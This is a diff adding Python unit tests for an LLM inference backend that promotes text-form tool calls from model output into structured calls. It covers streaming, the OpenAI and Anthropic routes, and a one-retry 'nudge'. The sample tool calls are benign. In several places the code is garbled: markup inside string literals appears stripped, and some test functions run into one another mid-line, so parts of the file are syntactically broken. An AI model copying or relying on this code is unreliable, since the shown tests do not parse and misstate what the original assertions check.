returned.set() + return upstream_response + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + assert cancel_id in inf_mod._CANCEL_REGISTRY + + gate.set() + await asyncio.wait_for(returned.wait(), timeout = 0.2) + await asyncio.sleep(0) + await response._unstarted_cleanup() + assert upstream_response.is_closed + assert cancel_id not in inf_mod._CANCEL_REGISTRY + + asyncio.run(_run()) + def test_external_non_streaming_json_updates_monitor(self, monkeypatch): async def _run(): import routes.inference as inf_mod diff --git a/studio/backend/tests/test_passthrough_healing.py b/studio/backend/tests/test_passthrough_healing.py new file mode 100644 index 0000000000..06316e2243 --- /dev/null +++ b/studio/backend/tests/test_passthrough_healing.py @@ -0,0 +1,1358 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Unit tests for core/inference/passthrough_healing.py: promoting text-form +tool calls back into structured calls on the client-tool passthrough. The +route-level wiring (OpenAI / Anthropic / Responses endpoints) is covered in +their own endpoint test files; this file exercises the shared state machine +and helpers directly. +""" + +from __future__ import annotations + +import json +import sys +from pathlib import Path + +import pytest + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +from core.inference.passthrough_healing import ( # noqa: E402 + StreamToolCallHealer, + heal_gate, + heal_openai_message, + nudge_messages, + nudge_should_retry, + response_has_promotable_calls, +) + +TOOLS = [ + {"type": "function", "function": {"name": "Bash", "parameters": {}}}, + {"type": "function", "function": {"name": "Read", "parameters": {}}}, +] + +BASH_COMMAND_TOOL = { + "type": "function", + "function": { + "name": "Bash", + "parameters": { + "type": "object", + "properties": {"command": {"type": "string"}}, + "required": ["command"], + }, + }, +} +XML_BASH = '{"name":"Bash","arguments":{"cmd":"ls"}}' +XML_UNDECLARED = '{"name":"Nuke","arguments":{}}' + + +def _events_text(events): + return "".join(text for kind, text in events if kind == "text") + + +def _events_calls(events): + return [call for kind, call in events if kind == "tool_call"] + + +class TestHealGate: + def test_returns_declared_names(self): + assert heal_gate(None, TOOLS) == {"Bash", "Read"} + assert heal_gate(True, TOOLS) == {"Bash", "Read"} + + def test_opt_out_and_no_tools(self): + assert heal_gate(False, TOOLS) is None + assert heal_gate(None, []) is None + assert heal_gate(None, None) is None + + def test_malformed_tool_entries_ignored(self): + assert heal_gate(None, ["nonsense", {"function": "x"}, {}]) is None + + def test_tool_choice_none_disables(self): + assert heal_gate(None, TOOLS, "none") is None + + def test_tool_choice_forced_function_narrows_allowlist(self): + forced = {"type": "function", "function": {"name": "Bash"}} + assert heal_gate(None, TOOLS, forced) == {"Bash"} + + def test_tool_choice_forced_undeclared_function_disables(self): + forced = {"type": "function", "function": {"name": "Nuke"}} + assert heal_gate(None, TOOLS, forced) is None + + def test_tool_choice_auto_and_required_keep_full_set(self): + assert heal_gate(None, TOOLS, "auto") == {"Bash", "Read"} + assert heal_gate(None, TOOLS, "required") == {"Bash", "Read"} + + def test_tool_choice_unrecognized_dict_keeps_full_set(self): + assert heal_gate(None, TOOLS, {"type": "function"}) == {"Bash", "Read"} + + +class TestHealOpenaiMessage: + def test_promotes_xml_and_strips_content(self): + msg = {"role": "assistant", "content": XML_BASH} + assert heal_openai_message(msg, {"Bash"}) is True + assert msg["content"] is None + (call,) = msg["tool_calls"] + assert call["function"]["name"] == "Bash" + assert json.loads(call["function"]["arguments"]) == {"cmd": "ls"} + + def test_keeps_surrounding_prose(self): + msg = {"role": "assistant", "content": f"Let me check.\n{XML_BASH}"} + assert heal_openai_message(msg, {"Bash"}) is True + assert msg["content"] == "Let me check." + + def test_undeclared_name_not_promoted(self): + msg = {"role": "assistant", "content": XML_UNDECLARED} + assert heal_openai_message(msg, {"Bash"}) is False + assert msg["content"] == XML_UNDECLARED + assert "tool_calls" not in msg + + def test_structured_calls_untouched(self): + msg = {"role": "assistant", "content": XML_BASH, "tool_calls": [{"id": "x"}]} + assert heal_openai_message(msg, {"Bash"}) is False + assert msg["content"] == XML_BASH + + def test_prose_only_untouched(self): + msg = {"role": "assistant", "content": "just an answer"} + assert heal_openai_message(msg, {"Bash"}) is False + + def test_bare_string_arguments_use_schema_key(self): + msg = { + "role": "assistant", + "content": '{"name":"Bash","arguments":"echo hi"}', + } + assert heal_openai_message(msg, {"Bash"}, [BASH_COMMAND_TOOL]) is True + args = json.loads(msg["tool_calls"][0]["function"]["arguments"]) + assert args == {"command": "echo hi"} + + def test_bare_string_arguments_decline_ambiguous_schema(self): + msg = { + "role": "assistant", + "content": '{"name":"Bash","arguments":"echo hi"}', + } + assert heal_openai_message(msg, {"Bash"}, TOOLS) is False + assert "tool_calls" not in msg + + def test_mixed_declared_and_undeclared_promotes_declared_keeps_undeclared_text(self): + # Span-exact removal: only the promoted Bash markup is dropped; the + # undeclared Nuke call's text stays in the content byte-intact. + content = f"pre {XML_BASH} mid {XML_UNDECLARED} post" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash"}) is True + (call,) = msg["tool_calls"] + assert call["function"]["name"] == "Bash" + assert XML_UNDECLARED in msg["content"] + assert "pre" in msg["content"] and "post" in msg["content"] + assert XML_BASH not in msg["content"] + + def test_multiple_declared_calls_all_promoted(self): + content = f"{XML_BASH} and {XML_BASH}" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash"}) is True + assert len(msg["tool_calls"]) == 2 + + def test_mixed_formats_promote_in_document_order(self): + func_read = "a.txt" + content = f"{func_read} then {XML_BASH}" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash", "Read"}) is True + assert [call["function"]["name"] for call in msg["tool_calls"]] == ["Read", "Bash"] + assert msg["content"] == "then" + + def test_unparseable_closed_block_not_deleted(self): + # A closed block whose body never parses is model output, + # not a promotable call; it must survive promotion of its neighbor. + garbage = "not json at all" + content = f"{XML_BASH} {garbage}" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash"}) is True + assert garbage in msg["content"] + + +class TestStreamHealer: + def test_plain_text_passes_through(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("hello ") + healer.feed("world") + healer.finalize() + assert _events_text(events) == "hello world" + assert not _events_calls(events) + + def test_complete_call_in_one_chunk(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"On it. {XML_BASH}") + healer.finalize() + assert _events_text(events) == "On it. " + (call,) = _events_calls(events) + assert call["function"]["name"] == "Bash" + assert healer.healed + + def test_signal_split_across_chunks(self): + healer = StreamToolCallHealer({"Bash"}) + events = [] + for piece in ["{"name":"Bash",', '"arguments":{}}']: + events += healer.feed(piece) + events += healer.finalize() + assert _events_text(events) == "" + assert len(_events_calls(events)) == 1 + + def test_closed_malformed_tool_block_flushes_immediately(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("not json after") + assert _events_text(events) == "not json after" + assert not _events_calls(events) + + def test_mixed_formats_stream_in_document_order(self): + healer = StreamToolCallHealer({"Bash", "Read"}) + func_read = "a.txt" + events = healer.feed(f"{func_read} then {XML_BASH}") + healer.finalize() + assert [call["function"]["name"] for call in _events_calls(events)] == ["Read", "Bash"] + assert _events_text(events).strip() == "then" + + def test_false_alarm_html_flushes(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("use the
tag") + healer.finalize() + assert _events_text(events) == "use the
tag" + assert not _events_calls(events) + + def test_partial_signal_tail_held_then_flushed_at_end(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("trailing text -> call B, never both calls then the text. + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"{XML_BASH} middle {XML_BASH}") + healer.finalize() + kinds = [k for k, _ in events] + assert kinds == ["tool_call", "text", "tool_call"] + assert events[1][1] == " middle " + + def test_undeclared_then_declared_keeps_document_order(self): + # The undeclared block precedes the declared call; its raw text must + # be emitted BEFORE the promoted call event, never after. + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"{XML_UNDECLARED} then {XML_BASH}") + healer.finalize() + kinds = [k for k, _ in events] + assert kinds.index("tool_call") == len(kinds) - 1 + (call,) = _events_calls(events) + assert call["function"]["name"] == "Bash" + assert XML_UNDECLARED in _events_text(events) + + def test_declared_promoted_then_late_undeclared_flushes_raw(self): + # Streaming causality: the declared call completed and was already + # emitted before the undeclared one arrived. The undeclared markup + # must still reach the client as raw text (no data loss). + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"{XML_BASH} then ") + assert len(_events_calls(events)) == 1 + events += healer.feed(XML_UNDECLARED) + healer.finalize() + assert XML_UNDECLARED in _events_text(events) + assert len(_events_calls(events)) == 1 + + def test_undeclared_tool_flushes_raw(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(XML_UNDECLARED) + healer.finalize() + assert _events_text(events) == XML_UNDECLARED + assert not _events_calls(events) + + def test_two_calls_and_text_between(self): + healer = StreamToolCallHealer({"Bash", "Read"}) + xml_read = '{"name":"Read","arguments":{"path":"f"}}' + events = healer.feed(f"{XML_BASH} then {xml_read}") + healer.finalize() + calls = _events_calls(events) + assert [c["function"]["name"] for c in calls] == ["Bash", "Read"] + assert [c["id"] for c in calls] == ["call_0", "call_1"] + assert _events_text(events).strip() == "then" + + def test_incomplete_call_healed_at_finalize(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed('{"name":"Bash","arguments":{"cmd":"ls"}}') + assert events == [] # held + events = healer.finalize() + (call,) = _events_calls(events) + assert call["function"]["name"] == "Bash" + + def test_teaching_text_flushes_at_finalize(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(" is the marker syntax") + healer.finalize() + assert _events_text(events) == " is the marker syntax" + assert not _events_calls(events) + + def test_hold_bound_flushes(self): + healer = StreamToolCallHealer({"Bash"}) + blob = "" + "x" * (64 * 1024 + 10) + events = healer.feed(blob) + healer.finalize() + assert _events_text(events) == blob + assert not _events_calls(events) + + def test_dormant_after_structured_delta(self): + healer = StreamToolCallHealer({"Bash"}) + held = healer.feed("prefix call Bash somehow???") + assert nudge_should_retry(data, {"Read"}) is True + + def test_no_retry_on_clean_prose(self): + assert nudge_should_retry(self._resp("all done"), {"Bash"}) is False + + def test_no_retry_when_heal_would_succeed(self): + assert nudge_should_retry(self._resp(XML_BASH), {"Bash"}) is False + + def test_no_retry_with_structured_calls(self): + data = self._resp("", tool_calls = [{"id": "x"}]) + assert nudge_should_retry(data, {"Bash"}) is False + + def test_no_retry_when_healing_disabled(self): + assert nudge_should_retry(self._resp("???"), None) is False + + def test_nudge_messages_shape(self): + data = self._resp("garbage") + suffix = nudge_messages(data, {"Bash", "Read"}) + assert [m["role"] for m in suffix] == ["assistant", "user"] + assert suffix[0]["content"] == "garbage" + assert "`Bash` or `Read`" in suffix[1]["content"] + + def test_retry_with_undeclared_structured_call_is_not_an_improvement(self): + # The retry replaces the original only when it carries a USABLE call: + # a structured call naming an undeclared tool must not count. + undeclared = [ + {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}} + ] + declared = [ + {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}} + ] + assert response_has_promotable_calls(self._resp("", undeclared), {"Bash"}) is False + assert response_has_promotable_calls(self._resp("", declared), {"Bash"}) is True + + def test_retry_with_mixed_structured_calls_is_not_an_improvement(self): + # ALL structured calls must be declared: the caller forwards the whole + # list (and a parallel cap could keep only the FIRST), so a mixed retry + # could still hand the client an undeclared tool. + mixed = [ + {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}}, + {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}}, + ] + assert response_has_promotable_calls(self._resp("", mixed), {"Bash"}) is False + assert ( + response_has_promotable_calls(self._resp("", list(reversed(mixed))), {"Bash"}) is False + ) + + @pytest.mark.parametrize( + "data", + [ + None, + "not a dict", + {}, + {"choices": []}, + {"choices": [{}]}, + {"choices": [{"message": None}]}, # llama-server error bodies do this + {"choices": [{"message": "not a dict"}]}, + {"choices": [{"message": {"content": None}}]}, + {"error": {"message": "boom"}}, + ], + ) + def test_malformed_response_shapes_never_raise(self, data): + # A malformed upstream body must degrade to "nothing to heal/nudge", + # never crash the request with an AttributeError. + assert nudge_should_retry(data, {"Bash"}) is False + assert response_has_promotable_calls(data, {"Bash"}) is False + suffix = nudge_messages(data, {"Bash"}) + assert suffix[0] == {"role": "assistant", "content": ""} + + +# ── Route-level wiring (OpenAI passthrough) ───────────────────────────── +# Mirrors the fake-llama-server patterns in test_openai_tool_passthrough.py. + +import asyncio # noqa: E402 +import threading # noqa: E402 +from types import SimpleNamespace # noqa: E402 + +import httpx # noqa: E402 + +from core.inference.api_monitor import ApiMonitor # noqa: E402 +from models.inference import ChatCompletionRequest, ChatMessage # noqa: E402 +from routes.inference import ( # noqa: E402 + _openai_passthrough_non_streaming, + _openai_passthrough_stream, +) + +LOOKUP_TOOL = { + "type": "function", + "function": {"name": "lookup", "parameters": {"type": "object", "properties": {}}}, +} +LOOKUP_XML = '{"name":"lookup","arguments":{"q":"x"}}' + + +def _payload(**kwargs): + defaults = dict( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + tools = [LOOKUP_TOOL], + ) + defaults.update(kwargs) + return ChatCompletionRequest(**defaults) + + +def _llama_backend(): + return SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ) + + +def _upstream_message( + content, + tool_calls = None, + finish_reason = "stop", +): + message = {"role": "assistant", "content": content} + if tool_calls is not None: + message["tool_calls"] = tool_calls + return { + "id": "chatcmpl-up", + "object": "chat.completion", + "created": 1, + "model": "gguf", + "choices": [{"index": 0, "message": message, "finish_reason": finish_reason}], + "usage": {"prompt_tokens": 1, "completion_tokens": 2, "total_tokens": 3}, + } + + +class ScriptedClient: + """Fake nonstreaming_client() returning scripted JSON bodies, counting POSTs.""" + + def __init__(self, bodies): + self.bodies = list(bodies) + self.posts = [] + + async def post( + self, + _url, + json = None, + timeout = None, + ): + self.posts.append(json) + return httpx.Response(200, json = self.bodies[min(len(self.posts) - 1, len(self.bodies) - 1)]) + + +async def _drive_non_streaming(monkeypatch, payload, bodies): + import routes.inference as inf_mod + + client = ScriptedClient(bodies) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _openai_passthrough_non_streaming( + _llama_backend(), payload, "gguf", monitor_id = None + ) + return client, json.loads(response.body) + + +async def _drive_stream(monkeypatch, payload, lines): + import routes.inference as inf_mod + + class Request: + async def is_disconnected(self): + return False + + async def fake_send(*_args, **_kwargs): + return httpx.Response(200, content = b"") + + async def fake_items(*_args, **_kwargs): + for line in lines: + yield line + + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) + monkeypatch.setattr(inf_mod, "api_monitor", ApiMonitor(max_entries = 3)) + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + _llama_backend(), + payload, + "gguf", + "chatcmpl-test", + monitor_id = None, + ) + return [chunk async for chunk in response.body_iterator] + + +def _stream_payloads(chunks): + out = [] + for chunk in chunks: + for line in chunk.splitlines(): + if line.startswith("data: ") and line[6:] != "[DONE]": + out.append(json.loads(line[6:])) + return out + + +class TestOpenaiNonStreamingRoute: + def test_heals_xml_to_tool_calls(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, _payload(), [_upstream_message(LOOKUP_XML)] + ) + choice = data["choices"][0] + assert choice["finish_reason"] == "tool_calls" + (call,) = choice["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + assert json.loads(call["function"]["arguments"]) == {"q": "x"} + assert choice["message"]["content"] is None + assert data["usage"]["total_tokens"] == 3 # usage preserved + assert len(client.posts) == 1 # healing never re-requests + + asyncio.run(_run()) + + def test_bare_string_uses_client_schema_key(self, monkeypatch): + async def _run(): + content = '{"name":"Bash","arguments":"echo hi"}' + _, data = await _drive_non_streaming( + monkeypatch, + _payload(tools = [BASH_COMMAND_TOOL]), + [_upstream_message(content)], + ) + (call,) = data["choices"][0]["message"]["tool_calls"] + assert json.loads(call["function"]["arguments"]) == {"command": "echo hi"} + + asyncio.run(_run()) + + def test_opt_out_relays_verbatim(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, + _payload(auto_heal_tool_calls = False), + [_upstream_message(LOOKUP_XML)], + ) + choice = data["choices"][0] + assert choice["message"]["content"] == LOOKUP_XML + assert "tool_calls" not in choice["message"] + assert choice["finish_reason"] == "stop" + + asyncio.run(_run()) + + def test_no_tools_untouched(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, _payload(tools = None), [_upstream_message(LOOKUP_XML)] + ) + assert data["choices"][0]["message"]["content"] == LOOKUP_XML + + asyncio.run(_run()) + + def test_undeclared_tool_not_promoted(self, monkeypatch): + async def _run(): + xml = '{"name":"rogue","arguments":{}}' + _, data = await _drive_non_streaming(monkeypatch, _payload(), [_upstream_message(xml)]) + assert data["choices"][0]["message"]["content"] == xml + assert "tool_calls" not in data["choices"][0]["message"] + + asyncio.run(_run()) + + def test_structured_calls_untouched(self, monkeypatch): + async def _run(): + native = [ + { + "id": "call_up", + "type": "function", + "function": {"name": "lookup", "arguments": "{}"}, + } + ] + _, data = await _drive_non_streaming( + monkeypatch, + _payload(), + [_upstream_message("", tool_calls = native, finish_reason = "tool_calls")], + ) + assert data["choices"][0]["message"]["tool_calls"] == native + + asyncio.run(_run()) + + def test_length_finish_reason_preserved(self, monkeypatch): + async def _run(): + # Truncated generation: the healed call stays attached but the + # client must still see the truncation, so length is never + # upgraded to tool_calls. + _, data = await _drive_non_streaming( + monkeypatch, + _payload(), + [_upstream_message(LOOKUP_XML, finish_reason = "length")], + ) + choice = data["choices"][0] + assert choice["finish_reason"] == "length" + (call,) = choice["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + + asyncio.run(_run()) + + def test_tool_choice_none_relays_verbatim(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, + _payload(tool_choice = "none"), + [_upstream_message(LOOKUP_XML)], + ) + message = data["choices"][0]["message"] + assert message["content"] == LOOKUP_XML + assert "tool_calls" not in message + + asyncio.run(_run()) + + def test_tool_choice_forcing_other_function_not_promoted(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, + _payload(tool_choice = {"type": "function", "function": {"name": "other"}}), + [_upstream_message(LOOKUP_XML)], + ) + message = data["choices"][0]["message"] + assert message["content"] == LOOKUP_XML + assert "tool_calls" not in message + + asyncio.run(_run()) + + def test_mixed_declared_and_undeclared_promotes_and_keeps_text(self, monkeypatch): + async def _run(): + rogue = '{"name":"rogue","arguments":{}}' + mixed = f"{LOOKUP_XML} also {rogue}" + _, data = await _drive_non_streaming( + monkeypatch, _payload(), [_upstream_message(mixed)] + ) + choice = data["choices"][0] + (call,) = choice["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + assert rogue in choice["message"]["content"] + assert choice["finish_reason"] == "tool_calls" + + asyncio.run(_run()) + + def test_healed_then_native_stream_indexes_disjoint(self, monkeypatch): + async def _run(): + # A healed text-form call goes out first (index 0); a native + # structured delta follows. Clients merge deltas by index, so the + # native call must be shifted off index 0 or the two would merge. + native_line = ( + 'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":' + '[{"index":0,"id":"call_native","type":"function","function":' + '{"name":"lookup","arguments":"{}"}}]}}]}' + ) + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"content":' + + json.dumps(LOOKUP_XML) + + "}}]}", + native_line, + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines) + indexes = {} + for payload_data in _stream_payloads(chunks): + for ch in payload_data.get("choices", []): + for tc in (ch.get("delta") or {}).get("tool_calls") or []: + indexes.setdefault(tc["index"], tc.get("id")) + assert indexes.get(0, "").startswith("call_") and indexes[0] != "call_native" + assert indexes.get(1) == "call_native" + + asyncio.run(_run()) + + def test_role_delta_precedes_healed_stream_content(self, monkeypatch): + async def _run(): + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":' + + json.dumps(LOOKUP_XML) + + "}}]}", + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines) + payloads = _stream_payloads(chunks) + first_delta = payloads[0]["choices"][0]["delta"] + assert first_delta == {"role": "assistant"} + assert "tool_calls" in payloads[1]["choices"][0]["delta"] + + asyncio.run(_run()) + + def test_same_chunk_role_content_finish_delays_finish_until_after_healed_tool( + self, monkeypatch + ): + async def _run(): + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":' + + json.dumps(LOOKUP_XML) + + '},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines) + payloads = _stream_payloads(chunks) + assert payloads[0]["choices"][0]["finish_reason"] is None + assert payloads[0]["choices"][0]["delta"] == {"role": "assistant"} + assert "tool_calls" in payloads[1]["choices"][0]["delta"] + assert payloads[-1]["choices"][0]["finish_reason"] == "tool_calls" + + asyncio.run(_run()) + + +GARBAGE_SIGNAL = "call lookup somehow???" + + +class TestNudgeRetryOpenai: + def test_retry_recovers_call(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)], + ) + assert len(client.posts) == 2 # exactly one retry + # Prefix byte-identical, nudge suffix appended (KV-cache reuse guard). + original, retry = client.posts + assert retry["messages"][: len(original["messages"])] == original["messages"] + suffix = retry["messages"][len(original["messages"]) :] + assert [m["role"] for m in suffix] == ["assistant", "user"] + assert suffix[0]["content"] == GARBAGE_SIGNAL + # The healed retry response is returned. + (call,) = data["choices"][0]["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + assert data["choices"][0]["finish_reason"] == "tool_calls" + + asyncio.run(_run()) + + def test_retry_still_garbage_returns_original(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message(GARBAGE_SIGNAL), _upstream_message(GARBAGE_SIGNAL + "2")], + ) + assert len(client.posts) == 2 + assert data["choices"][0]["message"]["content"] == GARBAGE_SIGNAL + assert "tool_calls" not in data["choices"][0]["message"] + + asyncio.run(_run()) + + def test_default_off_single_post(self, monkeypatch): + async def _run(): + client, _ = await _drive_non_streaming( + monkeypatch, _payload(), [_upstream_message(GARBAGE_SIGNAL)] + ) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + def test_no_retry_on_clean_prose(self, monkeypatch): + async def _run(): + client, _ = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message("all done")], + ) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + def test_no_retry_when_heal_succeeds(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message(LOOKUP_XML)], + ) + assert len(client.posts) == 1 + assert data["choices"][0]["message"]["tool_calls"] + + asyncio.run(_run()) + + def test_heal_opt_out_disables_nudge_too(self, monkeypatch): + async def _run(): + client, _ = await _drive_non_streaming( + monkeypatch, + _payload(auto_heal_tool_calls = False, nudge_tool_calls = True), + [_upstream_message(GARBAGE_SIGNAL)], + ) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + +class TestNudgeRetryAnthropic: + async def _drive( + self, + monkeypatch, + bodies, + nudge = None, + ): + import routes.inference as inf_mod + from routes.inference import _anthropic_passthrough_non_streaming + + client = ScriptedClient(bodies) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _anthropic_passthrough_non_streaming( + _llama_backend(), + [{"role": "user", "content": "hi"}], + [LOOKUP_TOOL], + 0.7, + 0.95, + None, + 256, + "msg_test", + "gguf", + nudge_tool_calls = nudge, + ) + return client, json.loads(response.body) + + def test_retry_recovers_tool_use(self, monkeypatch): + async def _run(): + client, data = await self._drive( + monkeypatch, + [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)], + nudge = True, + ) + assert len(client.posts) == 2 + (block,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert block["name"] == "lookup" + assert data["stop_reason"] == "tool_use" + + asyncio.run(_run()) + + def test_healed_tool_use_precedes_trailing_text(self, monkeypatch): + async def _run(): + _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} done")]) + assert [block["type"] for block in data["content"]] == ["tool_use", "text"] + assert data["content"][1]["text"] == "done" + + asyncio.run(_run()) + + def test_default_off(self, monkeypatch): + async def _run(): + client, _ = await self._drive(monkeypatch, [_upstream_message(GARBAGE_SIGNAL)]) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + +class TestAnthropicPassthroughHealingText: + """Non-streaming Anthropic passthrough must relay unpromoted (undeclared) + text-form calls as text, matching the OpenAI passthrough contract. Once + heal_openai_message promotes the declared call it span-trims only that + markup and deliberately leaves the undeclared bytes in the content; the + legacy blanket _TOOL_XML_RE strip must not delete them. + """ + + async def _drive(self, monkeypatch, upstream): + import routes.inference as inf_mod + from routes.inference import _anthropic_passthrough_non_streaming + + client = ScriptedClient([upstream]) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _anthropic_passthrough_non_streaming( + _llama_backend(), + [{"role": "user", "content": "hi"}], + [LOOKUP_TOOL], + 0.7, + 0.95, + None, + 256, + "msg_test", + "gguf", + ) + return json.loads(response.body) + + def test_mixed_declared_and_undeclared_relays_undeclared_as_text(self, monkeypatch): + async def _run(): + content = f"Running now. {LOOKUP_XML} then {XML_UNDECLARED} done." + data = await self._drive(monkeypatch, _upstream_message(content)) + # Declared lookup call is promoted into a structured tool_use block. + (tool_use,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert tool_use["name"] == "lookup" + text = " ".join(b["text"] for b in data["content"] if b["type"] == "text") + assert XML_UNDECLARED in text + assert "Running now." in text and "done." in text + assert LOOKUP_XML not in text + + asyncio.run(_run()) + + +class TestAnthropicEmitterHealing: + def _events( + self, + emitter, + chunks, + finish = True, + ): + lines = [] + for chunk in chunks: + lines += emitter.feed_chunk(chunk) + if finish: + lines += emitter.finish() + return [json.loads(ln.split("data: ", 1)[1]) for ln in lines if "data: " in ln] + + def _emitter( + self, + allowed = ("lookup",), + **kwargs, + ): + from core.inference.anthropic_compat import AnthropicPassthroughEmitter + + emitter = AnthropicPassthroughEmitter() + emitter.enable_healing(set(allowed), **kwargs) + return emitter + + def _chunk( + self, + content = None, + tool_calls = None, + finish_reason = None, + ): + delta = {} + if content is not None: + delta["content"] = content + if tool_calls is not None: + delta["tool_calls"] = tool_calls + return {"choices": [{"delta": delta, "finish_reason": finish_reason}]} + + def test_xml_becomes_tool_use_block_and_stop_reason(self): + events = self._events( + self._emitter(), + [ + self._chunk(content = LOOKUP_XML), + self._chunk(finish_reason = "stop"), + ], + ) + starts = [e for e in events if e.get("type") == "content_block_start"] + (tool_start,) = [e for e in starts if e["content_block"]["type"] == "tool_use"] + assert tool_start["content_block"]["name"] == "lookup" + assert tool_start["content_block"]["id"].startswith("toolu_") + (args,) = [ + e["delta"]["partial_json"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "input_json_delta" + ] + assert json.loads(args) == {"q": "x"} + (message_delta,) = [e for e in events if e.get("type") == "message_delta"] + assert message_delta["delta"]["stop_reason"] == "tool_use" + + def test_mid_block_signal_closes_text_block_first(self): + events = self._events( + self._emitter(), + [ + self._chunk(content = f"Let me check {LOOKUP_XML}"), + self._chunk(finish_reason = "stop"), + ], + ) + kinds = [ + (e["type"], (e.get("content_block") or e.get("delta") or {}).get("type")) + for e in events + if e["type"].startswith("content_block") + ] + # text opens, streams the safe prefix, closes; then the tool_use block. + assert kinds[0] == ("content_block_start", "text") + assert kinds[1] == ("content_block_delta", "text_delta") + assert kinds[2] == ("content_block_stop", None) + assert kinds[3] == ("content_block_start", "tool_use") + texts = [ + e["delta"]["text"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + ] + assert "".join(texts) == "Let me check " + + def test_false_alarm_streams_as_text(self): + events = self._events( + self._emitter(), + [self._chunk(content = "use the
tag"), self._chunk(finish_reason = "stop")], + ) + texts = [ + e["delta"]["text"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + ] + assert "".join(texts) == "use the
